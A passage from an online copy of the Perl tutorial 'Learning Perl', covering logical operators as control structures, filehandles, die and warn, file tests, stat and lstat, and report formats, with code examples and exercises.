  • If this is false, there's no point in looking at that, because the value of the whole expression has to be false. Since there's no point to evaluating that, we might as well skip it.

And in fact, this is what Perl does. Perl evaluates that only when this is true, making it equivalent to the previous two forms.

Likewise, the logical-or works like the unless statement (or unless modifier). So you can replace:

unless (this) { that; }

with:

this || that;

If you're familiar with using these operators in shell programming to control conditional execution commands, you'll see that they work similarly in Perl.

Which one should you use? It depends on your mood, sometimes, or how big each of the expression parts are, or whether you need to parenthesize the expressions because of precedence conflicts. Look at other people's programs, and see what they do. You'll probably see a little of each. Larry suggests that you put the most important part of the expression first, so that it stands out.

Previous: 9.5 Expression Modifiers | Learning Perl | Next: 9.7 Exercises
9.5 Expression Modifiers | Book Index | 9.7 Exercises


[Chapter 9] 9.7 Exercises

Learning PerlSearch this book

9.7 Exercises

See Appendix A, Exercise Answers for the answers.

  1. Extend the problem from the last chapter to repeat the operation until the word end is entered for one of the values. (Hint: use an infinite loop, and then do a last if either value is end.)

  2. Rewrite the exercise from Chapter 4, Control Structures, summing numbers up to 999, using a loop that exits from the middle. (Hint: use a naked block with a redo at the end to get an infinite loop and a last in the middle based on a condition.)

Previous: 9.6 && and || as Control Structures | Learning Perl | Next: 10. Filehandles and File Tests
9.6 && and || as Control Structures | Book Index | 10. Filehandles and File Tests


[Chapter 10] Filehandles and File Tests

Learning PerlSearch this book
Previous: 9.7 Exercises Chapter 10 Next: 10.2 Opening and Closing a Filehandle

10. Filehandles and File Tests

Contents:
What Is a Filehandle?
Opening and Closing a Filehandle
A Slight Diversion: die
Using Filehandles
The -x File Tests
The stat and lstat Functions
Exercises

10.1 What Is a Filehandle?

A filehandle in a Perl program is the name for an I/O connection between your Perl process and the outside world. We've already seen and used filehandles implicitly: STDIN is a filehandle, naming the connection between the Perl process and the UNIX standard input. Likewise, Perl provides STDOUT (for standard output) and STDERR (for standard error output). These names are the same as those used by the C and C++ "standard I/O" library package, which Perl uses for most of its I/O.

Filehandle names are like the names for labeled blocks, but they come from yet another namespace (so you can have a scalar $fred, an array @fred, a hash %fred, a subroutine &fred, a label fred, and now a filehandle fred). Like block labels, filehandles are used without a special prefix character, and thus might be confused with present or future reserved words. Once again, the recommendation is that you use ALL UPPERCASE letters in your filehandle; not only will it stand out better, but it will also guarantee that your program won't fail when a future reserved word is introduced.

Previous: 9.7 Exercises | Learning Perl | Next: 10.2 Opening and Closing a Filehandle
9.7 Exercises | Book Index | 10.2 Opening and Closing a Filehandle


[Chapter 10] 10.2 Opening and Closing a Filehandle

Learning PerlSearch this book

10.2 Opening and Closing a Filehandle

Perl provides three filehandles, STDIN, STDOUT, and STDERR, which are automatically open to files or devices established by the program's parent process (probably the shell). You use the open function to open additional filehandles. The syntax looks like this:

open(FILEHANDLE,"somename");

where FILEHANDLE is the new filehandle and somename is the external filename (such as a file or a device) that will be associated with the new filehandle. This invocation opens the filehandle for reading. To open a file for writing, use the same open function, but prefix the filename with a greater-than sign (as in the shell):

open(OUT, ">outfile");

We'll see how to use this filehandle in the upcoming section "Using Filehandles." Also, as in the shell, you can open a file for appending by using two greater-than signs for a prefix, as in:

open(LOGFILE, ">>mylogfile");

All forms of open return true for success and false for failure. (Opening a file for input fails, for example, if the file is not there or cannot be accessed because of permissions; opening a file for output fails if the file is write-protected, or if the directory is not writable or accessible.)

When you are finished with a filehandle, you may close it with the close operator, like so:

close(LOGFILE);

Reopening a filehandle also closes the previously open file automatically, as does exiting the program. Because of this, many Perl programs don't bother with close. But it's there if you want to be tidy or make sure that all of the data is flushed out sometime earlier than program termination. A close call could also fail if the disk filled up, the remote server that held the file became inaccessible, or any of various other esoteric problems occurred. It's a good idea to check the return values of all system calls.

Previous: 10.1 What Is a Filehandle? | Learning Perl | Next: 10.3 A Slight Diversion: die
10.1 What Is a Filehandle? | Book Index | 10.3 A Slight Diversion: die


[Chapter 10] 10.3 A Slight Diversion: die

Learning PerlSearch this book

10.3 A Slight Diversion: die

Consider this a large footnote, in the middle of the page.

A filehandle that has not been successfully opened can still be used without even so much as a warning[1] throughout the program. If you read from the filehandle, you'll get end-of-file right away. If you write to the filehandle, the data is silently discarded (like last year's campaign promises).

[1] Unless you are running with the -w switch enabled.

Typically you'll want to check the result of the open and report an error if the result is not what you expect. Sure, you can pepper your program with stuff like:

unless (open (DATAPLACE,">/tmp/dataplace")) {
    print "Sorry, I couldn't create /tmp/dataplace\n";
} else {
    # the rest of your program
}

But that's a lot of work. And it happens often enough for Perl to offer a bit of a shortcut. The die function takes a list within optional parentheses, spits out that list (like print) on the standard error output, and then ends the Perl process (the one running the Perl program) with a nonzero exit status (generally indicating that something unusual happened[2]). So, rewriting the chunk of code above turns out to look like this:

unless (open DATAPLACE,">/tmp/dataplace") {
    die "Sorry, I couldn't create /tmp/dataplace\n";
}
# rest of program

[2] Actually, die merely raises an exception, but since you aren't being shown how to trap exceptions, it behaves as described. See eval in Chapter 3 of Programming Perl or perlfunc (1) for details.

But we can go even one step further. Remember that we can use the || (logical-or) operator to shorten this up, as in:

open(DATAPLACE,">/tmp/dataplace") ||
    die "Sorry, I couldn't create /tmp/dataplace\n";

So the die gets executed only when the result of the open is false. The common way to read this is "open that file or die!" And that's an easy way to remember whether to use the logical-and or logical-or.

The message at death (built from the argument to die) has the Perl program name and line number automatically attached, so you can easily identify which die was responsible for the untimely exit. If you don't like the line number or file revealed, make sure that the death text has a newline on the end. For example,

die "you gravy-sucking pigs";

prints the file and line number, while

die "you gravy-sucking pigs\n";

does not.

Another handy thing inside die strings is the $! variable, which contains the error string describing the most recent operating system error. It's used like this:

open(LOG, ">>logfile") || die "cannot append: $!";

This might end up saying "cannot append: Permission denied" as part of the message.

There's also the "close call" function, which most people know as warn. It does everything die does, just short of actually dying. Use it to give error messages on standard error without a lot of extra hassle:

open(LOG,">>log") || warn "discarding logfile output\n";

Previous: 10.2 Opening and Closing a Filehandle | Learning Perl | Next: 10.4 Using Filehandles
10.2 Opening and Closing a Filehandle | Book Index | 10.4 Using Filehandles


[Chapter 10] 10.4 Using Filehandles

Learning PerlSearch this book

10.4 Using Filehandles

Once a filehandle is open for reading, you can read lines from it just as you can read from standard input with STDIN. So, for example, to read lines from the password file:

open (EP,"/etc/passwd");
while (<EP>) {
    chomp;
    print "I saw $_ in the password file!\n";
}

Note that the newly opened filehandle is used inside the angle brackets, just as we have used STDIN previously.

If you have a filehandle open for writing or appending, and if you want to print to it, you must place the filehandle immediately after the print keyword and before the other arguments. No comma should occur between the filehandle and the rest of the arguments:

print LOGFILE "Finished item $n of $max\n";
print STDOUT "hi, world!\n"; # like print "hi, world!\n"

In this case, the message beginning with Finished goes to the LOGFILE filehandle, which presumably was opened earlier in the program. And hi, world still goes to standard output, just as when you didn't specify the filehandle. We say that STDOUT is the default filehandle for the print statement.

Here's a way to copy data from a file specified in $a into a file specified in $b. It illustrates nearly everything we've learned in the last few pages:[3]

open(IN,$a) || die "cannot open $a for reading: $!";
open(OUT,">$b") || die "cannot create $b: $!";
while (<IN>) {      # read a line from file $a into $_
    print OUT $_;   # print that line to file $b
}
close(IN) || die "can't close  $a: $!";
close(OUT) || die "can't close  $b: $!";

[3] Although it's entirely redundant with the File::Copy module.

Previous: 10.3 A Slight Diversion: die | Learning Perl | Next: 10.5 The -x File Tests
10.3 A Slight Diversion: die | Book Index | 10.5 The -x File Tests


[Chapter 10] 10.5 The -x File Tests

Learning PerlSearch this book

10.5 The -x File Tests

Now you know how to open a filehandle for output, overwriting any existing file with the same name. Suppose you wanted to make sure that there wasn't a file by that name (to keep you from accidentally blowing away your spreadsheet data or that important birthday calendar). If you were writing a shell script, you'd use something like -e filename to test if the file exists. Similarly, Perl uses -e $filevar to test for the existence of the file named by the scalar value in $filevar. If this file exists, the result is true; otherwise it is false.[4] For example:

$name = "index.html";
if (-e $name) {
    print "I see you already have a file named $name\n";
} else {
    print "Perhaps you'd like to make a file called $name\n";
}

[4] This isn't good enough if you are managing lock files, or if files are appearing and disappearing quickly. In that case, you need to look into the sysopen and flock functions described in Programming Perl or see the examples in Chapter 19, CGI Programming.

The operand of the -e operator is really just any scalar expression that evaluates to some string, including a string literal. Here's an example that checks to see whether both index.html and index.cgi exist in the current directory:

if (-e "index.html" && -e "index.cgi") {
    print "You have both styles of index files here.\n";
}

Other operators are defined as well. For example, -r $filevar returns true if the file named in $filevar exists and is readable. Similarly, -w $filevar tests whether it is writable. Here's an example that tests a user-specified filename for both readability and writability:

print "where? ";
$filename = <STDIN>;
chomp $filename; # toss pesky newline
if (-r $filename && -w $filename) {
    # file exists, and I can read and write it
    ...
}

Many more file tests are available. Table 10.1 gives the complete list.

Table 10.1: File Tests and Their Meanings

File Test

Meaning

-r

File or directory is readable

-w

File or directory is writable

-x

File or directory is executable

-o

File or directory is owned by user

-R

File or directory is readable by real user, not effective user (differs from -r for setuid programs)

-W

File or directory is writable by real user, not effective user (differs from -w for setuid programs)

-X

File or directory is executable by real user, not effective user (differs from -x for setuid programs)

-O

File or directory is owned by real user, not effective user (differs from -o for setuid programs)

-e

File or directory exists

-z

File exists and has zero size (directories are never empty)

-s

File or directory exists and has nonzero size (the value is the size in bytes)

-f

Entry is a plain file

-d

Entry is a directory

-l

Entry is a symlink

-S

Entry is a socket

-p

Entry is a named pipe (a "fifo")

-b

Entry is a block-special file (like a mountable disk)

-c

Entry is a character-special file (like an I/O device)

-u

File or directory is setuid

-g

File or directory is setgid

-k

File or directory has the sticky bit set

-t

isatty() on the filehandle is true

-T

File is "text"

-B

File is "binary"

-M

Modification age in days

-A

Access age in days

-C

Inode-modification age in days

Most of these tests return a simple true-false condition. A few don't, so let's talk about them.

The -s operator does return true if the file is nonempty, but it's a particular kind of true. It's the length in bytes of the file, which evaluates as true for a nonzero number.

The age operators -M, -A, and -C (yes, they're uppercase) return the number of days since the file was last modified, accessed, or had its inode changed.[5] (The inode contains all of the information about the file except for its contents: see the stat system call manpage for details.) This age value is fractional with a resolution of one second: 36 hours is returned as 1.5 days. If you compare the age with a whole number (say three), you'll get only the files that were changed exactly that many days ago, not one second more or less. This means you'll probably want a range comparison[6] rather than an exact comparison to get files that are between three and four days old.

[5] The age is measured relative to the time the program started, as captured in system time format in the $^T variable. It's possible to get negative numbers for these ages if the queried value refers to an event that happened after the program began.

[6] Or the int operator.

These operators can operate on filehandles as well as filenames. Giving a filehandle for the operand is all it takes. So to test whether the file opened as SOMEFILE is executable, you can use:

if (-x SOMEFILE) {
    # file open on SOMEFILE is executable
}

If you leave the filename or filehandle parameter off (that is, you have just -r or -s), the default operand is the file named in the $_ variable (there it is again!). So, to test a list of filenames to see which ones are readable, it's as simple as this:

foreach (@some_list_of_filenames) {
    print "$_ is readable\n" if -r; # same as -r $_
}

Previous: 10.4 Using Filehandles | Learning Perl | Next: 10.6 The stat and lstat Functions
10.4 Using Filehandles | Book Index | 10.6 The stat and lstat Functions


[Chapter 10] 10.6 The stat and lstat Functions

Learning PerlSearch this book

10.6 The stat and lstat Functions

While these file tests are fine for testing various attributes regarding a particular file or filehandle, they don't tell the whole story. For example, there's no file test that returns the number of links to a file. To get at the remaining information about a file, merely call the stat function, which returns pretty much everything that the stat POSIX system call returns (hopefully more than you want to know).

The operand to stat is a filehandle or an expression that evaluates to a filename. The return value is either undef, indicating that the stat failed, or a 13-element list,[7] most easily described using the following list of scalar variables:

($dev,$ino,$mode,$nlink,$uid,$gid,$rdev,
 $size,$atime,$mtime,$ctime,$blksize,$blocks) = stat(...)

[7] If you have a hard time remembering the order of stat's return values, you might look at the File::stat module, first introduced in release 5.004 of Perl. It provides access such as:

$file_owner = stat($filename)->uid;

The names here refer to the parts of the stat structure, described in detail in your stat (2) manpage. You should probably look there for the detailed descriptions.

For example, to get the user ID and the group ID of the password file, let's try:

($uid, $gid) = (stat("/etc/passwd"))[4,5];

And that's the way it goes.

Invoking the stat function on the name of a symbolic link returns information on what a symbolic link points at, not information about the symbolic link itself (unless the link just happens to be pointing at nothing currently accessible). If you need the (mostly useless) information about the symbolic link itself, use lstat rather than stat (which returns the same information in the same order). The lstat function works like stat on things that aren't symbolic links.

Like the file tests, the operand of stat or lstat defaults to $_ , meaning that the stat will be performed on the file named by the scalar variable $_.

Previous: 10.5 The -x File Tests | Learning Perl | Next: 10.7 Exercises
10.5 The -x File Tests | Book Index | 10.7 Exercises


[Chapter 10] 10.7 Exercises

Learning PerlSearch this book

10.7 Exercises

See Appendix A, Exercise Answers for answers.

  1. Write a program to read in a filename from STDIN, then open that file and display its contents with each line preceded by the filename and a colon. For example, if fred was read in, and the file fred consisted of the three lines aaa, bbb, and ccc, you would see fred: aaa, fred: bbb, and fred: ccc.

  2. Write a program that prompts for an input filename, an output filename, a search pattern, and a replacement string, and replaces all occurrences of the search pattern with the replacement string while copying the input file to the output file. Try it on some files. Can you overwrite an existing file (don't try it with anything important!)? Can you use regular expression characters in the search string? Can you use $1 in the replacement string?

  3. Write a program to read in a list of filenames and then display which of the files are readable, writable, and/or executable, and which ones don't exist. (You can perform each test for each filename as you read them, or on the entire set of names when you've read them all. Don't forget to remove the newline at the end of each filename you have read in.)

  4. Write a program to read in a list of filenames and find the oldest file among them. Print out the name of the file and the age of that file in days.

Previous: 10.6 The stat and lstat Functions | Learning Perl | Next: 11. Formats
10.6 The stat and lstat Functions | Book Index | 11. Formats


[Chapter 11] Formats

Learning PerlSearch this book
Previous: 10.7 Exercises Chapter 11 Next: 11.2 Defining a Format

11. Formats

Contents:
What Is a Format?
Defining a Format
Invoking a Format
More About the Fieldholders
The Top-of-Page Format
Changing Defaults for Formats
Exercises

11.1 What Is a Format?

Perl stands, among other things, for "practical extraction and report language." It's time to learn about that "...report language" business.

Perl provides the notion of a simple report writing template, called a format. A format defines a constant part (the column headers, labels, fixed text, or whatever) and a variable part (the current data you're reporting). The shape of the format is very close to the shape of the output, similar to formatted output in COBOL or the print using clauses of some BASICs.

Using a format consists of doing three things:

  1. Defining a format

  2. Loading up the data to be printed into the variable portions of the format (fields)

  3. Invoking the format

Most often, the first step is done once (in the program text so that it gets defined at compile-time),[1] and the other two steps are performed repeatedly.

[1] You can also create formats at run-time using the eval function, as described in Programming Perl and in the perlform (1) manpage.

Previous: 10.7 Exercises | Learning Perl | Next: 11.2 Defining a Format
10.7 Exercises | Book Index | 11.2 Defining a Format


[Chapter 11] 11.2 Defining a Format

Learning PerlSearch this book

11.2 Defining a Format

A format is defined using a format definition. This format definition can appear anywhere in your program text, like a subroutine. A format definition looks like this:

format someformatname =
fieldline
value_one, value_two, value_three
fieldline
value_one, value_two
fieldline
value_one, value_two, value_three
.

The first line contains the reserved word format, followed by the format name and then an equal sign (=). The format name is chosen from yet another namespace, and follows the same rule as everything else. Because format names are never used within the body of the program (except within string values), you can safely use names that are identical to reserved words. As you'll see in the next section, "Invoking a Format," most of your format names will probably be the same as filehandle names (which then makes them not the same as reserved words... oh well).

Following the first line comes the template itself, spanning zero or more text lines. The end of the template is indicated by a line consisting of a single dot by itself.[2] Templates are sensitive to whitespace; this is one of the few places where the kind and amount of whitespace (space, newline, or tab) matters in the text of a Perl program.

[2] In text files, the last line needs to end with a newline to work properly.

The template definition contains a series of fieldlines. Each fieldline may contain fixed text - text that will be printed out literally when the format is invoked. Here's an example of a fieldline with fixed text:

Hello, my name is Fred Flintstone.

Fieldlines may also contain fieldholders for variable text. If a line contains fieldholders, the following line of the template (called the value line) dictates a series of scalar values - one per fieldholder - that provide the values that will be plugged into the fields. Here's an example of a fieldline with one fieldholder and the value line that follows:

Hello, my name is @<<<<<<<<<<
$name

The fieldholder is the @<<<<<<<<<<, which specifies a left-justified text field with 11 characters. More complete details about fieldholders will be given in the upcoming section, "More About the Fieldholders."

If the fieldline has multiple fieldholders, it needs multiple values, so the values are separated on the value line by commas:

Hello, my name is @<<<<<<<<<< and I'm @<< years old.
$name, $age

Putting all this together, we can create a simple format for an address label:

format ADDRESSLABEL =
===============================
| @<<<<<<<<<<<<<<<<<<<<<<<<<< |
$name
| @<<<<<<<<<<<<<<<<<<<<<<<<<< |
$address
| @<<<<<<<<<<<<<<<<, @< @<<<< |
$city,          $state, $zip
===============================
.

Note that the lines of equal signs at the top and bottom of the format have no fields and thus have no value lines following. (If you put a value line following such a fieldline, it will be interpreted as another fieldline, probably not doing what you want.)

Whitespace within the value line is ignored. Some people choose to use additional whitespace in the value line to line up the variable with the fieldholder on the preceding line (such as putting $zip underneath the third field of the previous line in this example), but that's just for looks. Perl doesn't care, and it doesn't affect your output.

Text after the first newline in a value is discarded (except in the special case of multiline fieldholders, described later).

A format definition is like a subroutine definition. It doesn't contain immediately executed code, and can therefore be placed anywhere in the file with the rest of the program. We tend to put ours toward the end of the file, ahead of our subroutine definitions.

Previous: 11.1 What Is a Format? | Learning Perl | Next: 11.3 Invoking a Format
11.1 What Is a Format? | Book Index | 11.3 Invoking a Format


[Chapter 11] 11.3 Invoking a Format

Learning PerlSearch this book

11.3 Invoking a Format

You invoke a format with the write function. This function takes the name of a filehandle and generates text for that filehandle using the current format for that filehandle. By default, the current format for a filehandle is a format with the same name (so for the STDOUT filehandle, the STDOUT format is used), but we'll soon see that you can change it.

Let's take another look at that address label format, and create a file full of address labels. Here's a program segment:

format ADDRESSLABEL =
===============================
| @<<<<<<<<<<<<<<<<<<<<<<<<<< |
$name
| @<<<<<<<<<<<<<<<<<<<<<<<<<< |
$address
| @<<<<<<<<<<<<<<<<, @< @<<<< |
$city,          $state, $zip
===============================
.

open(ADDRESSLABEL,">labels-to-print") || die "can't create";
open(ADDRESSES,"addresses") || die "cannot open addresses";
while (<ADDRESSES>) {
    chomp; # remove newline
    ($name,$address,$city,$state,$zip) = split(/:/);
        # load up the global variables
    write (ADDRESSLABEL); # send the output
}

Here we see our previous format definition, but now we also have some executable code. First, we open a filehandle onto an output file, which is called labels-to-print. Note that the filehandle name (ADDRESSLABEL) is the same as the name of the format. This is important. Next, we open a filehandle on an address list. The format of the address list is presumed to be something like this:

Stonehenge:4470 SW Hall Suite 107:Beaverton:OR:97005
Fred Flintstone:3737 Hard Rock Lane:Bedrock:OZ:999bc

In other words, five colon-separated fields, which our code parses as described below.

The while loop in the program reads each line of the address file, gets rid of the newline, and then splits the remainder into five variables. Note that the variable names are the same names as the ones we used when we defined the format. This, too, is important.

Once we have all of the variables loaded up (so that the values used by the format are correct), the write function invokes the format. Note that the parameter to write is the filehandle to be written to, and by default, the format of the same name is also used.

Each field in the format is replaced with the corresponding value from the next line of the format. After the two sample records given above are processed, the file labels-to-print contains:

===============================
| Stonehenge                  |
| 4470 SW Hall Suite 107      |
| Beaverton        , OR 97005 |
===============================
===============================
| Fred Flintstone             |
| 3737 Hard Rock Lane         |
| Bedrock          , OZ 999bc |
===============================

Previous: 11.2 Defining a Format | Learning Perl | Next: 11.4 More About the Fieldholders
11.2 Defining a Format | Book Index | 11.4 More About the Fieldholders


[Chapter 11] 11.4 More About the Fieldholders

Learning PerlSearch this book

11.4 More About the Fieldholders

So far, by example, you know that the fieldholder @<<<< means a five-character left-justified field and that @<<<<<<<<<< means an 11-character left-justified field. Here's the whole scoop, as promised earlier.

11.4.1 Text Fields

Most fieldholders start with @. The characters following the @ indicate the type of field, while the number of characters (including the @) indicates the field width.

If the characters following the @ are left-angle brackets (<<<<), you get a left-justified field; that is, the value will be padded on the right with spaces if the value is shorter than the field width. (If a value is too long, it's truncated automatically; the layout of the format is always preserved.)

If the characters following the @ are right-angle brackets (>>>>), you get a right-justified field - that is, if the value is too short, it gets padded on the left with spaces.

Finally, if the characters following the @ are vertical bars (||||), you get a centered field: if the value is too short, it gets padded on both sides with spaces, enough on each side to make the value mostly centered within the field.

11.4.2 Numeric Fields

Another kind of fieldholder is a fixed-precision numeric field, useful for those big financial reports. This field also begins with @, and is followed by one or more #'s with an optional dot (indicating a decimal point). Once again, the @ counts as one of the characters of the field. For example:

format MONEY =
Assets: @#####.## Liabilities: @#####.## Net: @#####.##
$assets, $liabilities, $assets-$liabilities
.

The three numeric fields allow for six places to the left of the decimal place, and two to the right (useful for dollars and cents). Note the use of an expression in the format - perfectly legal and frequently used.

Perl provides nothing fancier than this; you can't get floating currency symbols or brackets around negative values or anything interesting. To do that, you have to write your own spiffy subroutine, like so:

format MONEY =
Assets: @<<<<<<<<< Liabilities @<<<<<<<< Net: @<<<<<<<<<
&pretty($assets,10), &pretty($liab,9), &pretty($assets-$liab,10)
.

sub pretty {
    my($n,$width) = @_;
    $width -= 2; # back off for negative stuff
    $n = sprintf("%.2f",$n); # sprintf is in later chapter
    if ($n < 0) {
        return sprintf("[%$width.2f]", -$n);
            # negative numbers get brackets
    } else {
        return sprintf(" %$width.2f ", $n);
            # positive numbers get spaces instead
    }
}

## body of program:
$assets = 32125.12;
$liab = 45212.15;
write (MONEY);

11.4.3 Multiline Fields

As mentioned earlier, Perl normally stops at the first newline of a value when placing the result into the output. One kind of fieldholder, the multiline fieldholder, allows you to include a value that may have many lines of information. This fieldholder is denoted by @* on a line by itself: as always, the following line defines the value to be substituted into the field, which in this case may be an expression that results in a value containing many newlines.

The substituted value will look just like the original text: four lines of value become four lines of output. For example:

format STDOUT =
Text Before.
@*
$long_string
Text After.
.

$long_string = "Fred\nBarney\nBetty\nWilma\n";
write;

generates the output:

Text Before.
Fred
Barney
Betty
Wilma
Text After.

11.4.4 Filled Fields

Another kind of fieldholder is a filled field. This fieldholder allows you to create a filled paragraph, breaking the text into conveniently sized lines at word boundaries, wrapping the lines as needed. There are a few parts that work together here, but let's look at them separately.

First, a filled field is denoted by replacing the @ marker in a text fieldholder with a caret (so you get ^<<<, for example). The corresponding value for a filled field (on the following line of the format) must be a scalar variable[3] containing text, rather than an expression that returns a scalar value. The reason for this is that Perl will alter the variable while filling the filled field, and it's pretty hard to alter an expression.

[3] Including a single scalar element of an array or hash, like $a[3] or $h{"fred"}.

When Perl is filling the filled field, it takes the value of the variable and grabs as many words (using a reasonable definition of "word")[4] as will fit into the field. These words are actually ripped out of the variable; the value of the variable after filling this field is whatever is left over after removing the words. You'll see why in a minute.

[4] The word separator characters are defined by the $: variable.

So far, this isn't much different from how a normal text field works; we're printing only as much as will fit (except that we're respecting a word boundary rather than just cutting it off at the field width). The beauty of this filled field appears when you have multiple references to the same variable in the same format. Take a look at this:

format PEOPLE =
Name: @<<<<<<<<<<<<< Comment: ^<<<<<<<<<<<<<<<<<<<<<<<<<<<<
      $name,                  $comment
                              ^<<<<<<<<<<<<<<<<<<<<<<<<<<<<
                              $comment
                              ^<<<<<<<<<<<<<<<<<<<<<<<<<<<<
                              $comment
                              ^<<<<<<<<<<<<<<<<<<<<<<<<<<<<
                              $comment
.

Note that the variable $comment appears four times. The first line (the one with the name field) prints the person's name and the first few words of the value in $comment. But in the process of computing this line, $comment is altered so that the words disappear. The second line once again refers to the same variable ($comment), and so will take the next few words from the same variable. This is also true for the third and fourth lines. Effectively, what we've created is a rectangle in the output that will be filled as best it can with the words from $comment spread over four lines.

What happens if the complete text occupies less than four lines? Well, you'll get a blank line or two. This is probably OK if you are printing out labels and need exactly the same number of lines for each entry to match them up with the labels. But if you are printing out a report, many blank lines merely use up your printer paper budget.

To fix this, use the suppression indicator. Any line that contains a tilde (~) character is suppressed (not output) if the line would have otherwise printed blank (just whitespace). The tilde itself always prints as a blank and can be placed anywhere a space could have been placed in the line. Rewriting that last example:

format PEOPLE =
Name: @<<<<<<<<<<<<< Comment: ^<<<<<<<<<<<<<<<<<<<<<<<<<<<<
      $name,                  $comment
~                             ^<<<<<<<<<<<<<<<<<<<<<<<<<<<<
                              $comment
~                             ^<<<<<<<<<<<<<<<<<<<<<<<<<<<<
                              $comment
~                             ^<<<<<<<<<<<<<<<<<<<<<<<<<<<<
                              $comment
.

Now, if the comment covers only two lines, the third and fourth lines are automatically suppressed.

What if the comment is more than four lines? Well, we could make about 20 copies of the last two lines of that format, hoping that 20 lines will cover it. But that goes against the idea that Perl helps you to be lazy, so there's a lazy way to do it. Any line that contains two consecutive tildes will be repeated automatically until the result is a completely blank line. (The blank line is suppressed.) This changes our format to look like this:

format PEOPLE =
Name: @<<<<<<<<<<<<< Comment: ^<<<<<<<<<<<<<<<<<<<<<<<<<<<<
      $name,                  $comment
~~                            ^<<<<<<<<<<<<<<<<<<<<<<<<<<<<
                              $comment
.

This way, if the comment takes one line, two lines, or 20 lines, we are still OK.

Note that the criterion for stopping the repeated line requires the line to be blank at some point. That means you probably don't want any constant text (other than blanks or tildes) on the line, or else it will never become blank.

Previous: 11.3 Invoking a Format | Learning Perl | Next: 11.5 The Top-of-Page Format
11.3 Invoking a Format | Book Index | 11.5 The Top-of-Page Format


[Chapter 11] 11.5 The Top-of-Page Format

Learning PerlSearch this book

11.5 The Top-of-Page Format

Many reports end up on some hardcopy device, like a printer. Printer paper is generally clipped into page-size chunks, because most of us stopped reading paper in scrolls a long time ago. So the text being fed to a printer typically has to take page boundaries into consideration by putting in blank lines or formfeed characters to skip across the perforations. Now, you could take the output of a Perl program and feed it through some utility (maybe even one written in Perl) that does this pagination, but there's an easier way.

Perl allows you to define a top-of-page format that triggers a page-processing mode. Perl counts each line of output generated by any format invocation to a particular filehandle. When the next format output cannot fit on the remainder of the current page, Perl spits out a formfeed followed by an automatic invocation of the top-of-page format, and finally the text from the invoked format. That way, the result of one write invocation will never be split across page boundaries (unless it is so large that it won't even fit on a page by itself).

The top-of-page format is defined just like any other format. The default name of a top-of-page format for a particular filehandle is the name of the filehandle followed by _TOP (in uppercase only).

Perl defines the variable $% to be the number of times the top-of-page format has been called for a particular filehandle, so you can use this variable in your top-of-page format to number the pages properly. For example, adding the following format definition to the previous program fragment prevents labels from being broken across page boundaries and also numbers consecutive pages:

format ADDRESSLABEL_TOP =
My Addresses -- Page @<
                     $%
.

The default page length is 60 lines. You can change this by setting a special variable, described shortly.

Perl doesn't notice whether you also print to the same filehandle, so that might throw the number of lines on the current page off a bit. You can either rewrite your code to use formats to send everything or fudge the "number of lines on the current page" variable after you do your print. In a moment, we'll see how to change this value.

Previous: 11.4 More About the Fieldholders | Learning Perl | Next: 11.6 Changing Defaults for Formats
11.4 More About the Fieldholders | Book Index | 11.6 Changing Defaults for Formats


[Chapter 11] 11.6 Changing Defaults for Formats

Learning PerlSearch this book

11.6 Changing Defaults for Formats

We have often referred to the "default" for this or that. Well, Perl provides a way to override the defaults for just about every step. Let's talk about these.

11.6.1 Using select( ) to Change the Filehandle

Back when we talked about print, in Chapter 6, Basic I/O, I mentioned that print and print STDOUT were identical, because STDOUT was the default for print. Not quite. The real default for print (and write, and a few other operations that we'll get to in a moment) is an odd notion called the currently selected filehandle.

The currently selected filehandle starts out as STDOUT, which makes it easy to print things on the standard output. However, you can change the currently selected filehandle with the select function. This function takes a single filehandle (or a scalar variable containing the name of a filehandle) as an argument. Once the currently selected filehandle is changed, it affects all future operations that depend on the currently selected filehandle. For example:

print "hello world\n";       # like print STDOUT "hello world\n";
select (LOGFILE);            # select a new filehandle
print "howdy, world\n";      # like print LOGFILE "howdy, world\n";
print "more for the log\n";  # more for LOGFILE
select (STDOUT);             # re-select STDOUT
print "back to stdout\n";    # this goes to standard output

Note that the select operation is sticky; once you've selected a new handle, it stays in effect until the next select.

So, a better definition for STDOUT with respect to print and write is that STDOUT is the default currently selected handle, or the default handle.

Subroutines may find a need to change the currently selected filehandle. However, it would be shocking to call a subroutine and then find out that all of your carefully crafted text lines were going into some bit bucket because the subroutine changed the currently selected filehandle without restoring it. So what's a well-behaved subroutine to do? If the subroutine knows that the current handle is STDOUT, the subroutine can restore the selected handle with code similar to that above. However, what if the caller of the subroutine had already changed the selected filehandle?

Well it turns out that the return value from select is a string containing the name of the previously selected handle. You can capture this value to restore the previously selected filehandle later, using code like this:

$oldhandle = select LOGFILE;
print "this goes to LOGFILE\n";
select ($oldhandle); # restore the previous handle

Yes, for these examples, it's much easier simply to put LOGFILE explicitly as the filehandle for the print, but there are some operations that require the currently selected filehandle to change, as we will soon see.

11.6.2 Changing the Format Name

The default format name for a particular filehandle is the same as the filehandle. However, you can change this for the currently selected filehandle by setting the new format name to a special variable called $~. You can also examine the value of the variable to see what the current format is for the currently selected filehandle.

For example, to use the ADDRESSLABEL format on STDOUT, it's as easy as:

$~ = "ADDRESSLABEL";

But what if you want to set the format for the REPORT filehandle to SUMMARY? Just a few steps to do it here:

$oldhandle = select REPORT;
$~ = "SUMMARY";
select ($oldhandle);

The next time we say

write (REPORT);

we get text out on the REPORT filehandle but using the SUMMARY format.[5]

[5] The object-oriented FileHandle module, part of the Perl standard distribution, provides a simpler way to accomplish the same thing.

Note that we saved the previous handle into a scalar variable and then restored it later. This is good programming practice. In fact, in production code we probably would have handled the previous one-line example similarly and not assumed that STDOUT was the default handle.

By setting the current format for a particular filehandle, you can interleave many different formats in a single report.

11.6.3 Changing the Top-of-Page Format Name

Just as we can change the name of the format for a particular filehandle by setting the $~ variable, we can change the top-of-page format by setting the $^ variable. This variable holds the name of the top-of-page format for the currently selected filehandle and is read/write, meaning that you can examine its value to see the current format name, and you can change it by assigning to it.

11.6.4 Changing the Page Length

If a top-of-page format is defined, the page length becomes important. By default, the page length is 60 lines; that is, when a write won't fit by the end of line 60, the top-of-page format is invoked automatically before printing the text.

Sometimes 60 lines isn't right. You can change this by setting the $= variable. This variable holds the current page length for the currently selected filehandle. Once again, to change it for a filehandle other than STDOUT (the default currently selected filehandle), you'll need to use the select() operator. Here's how to change the LOGFILE filehandle to have 30-line pages:

$old = select LOGFILE; # select LOGFILE and save old handle
$= = 30;
select $old;

Changing the page length won't have any effect until the next time the top-of-page format is invoked. If you set it before any text is output to a filehandle through a format, it'll work just fine because the top-of-page format is invoked immediately at the first write.

11.6.5 Changing the Position on the Page

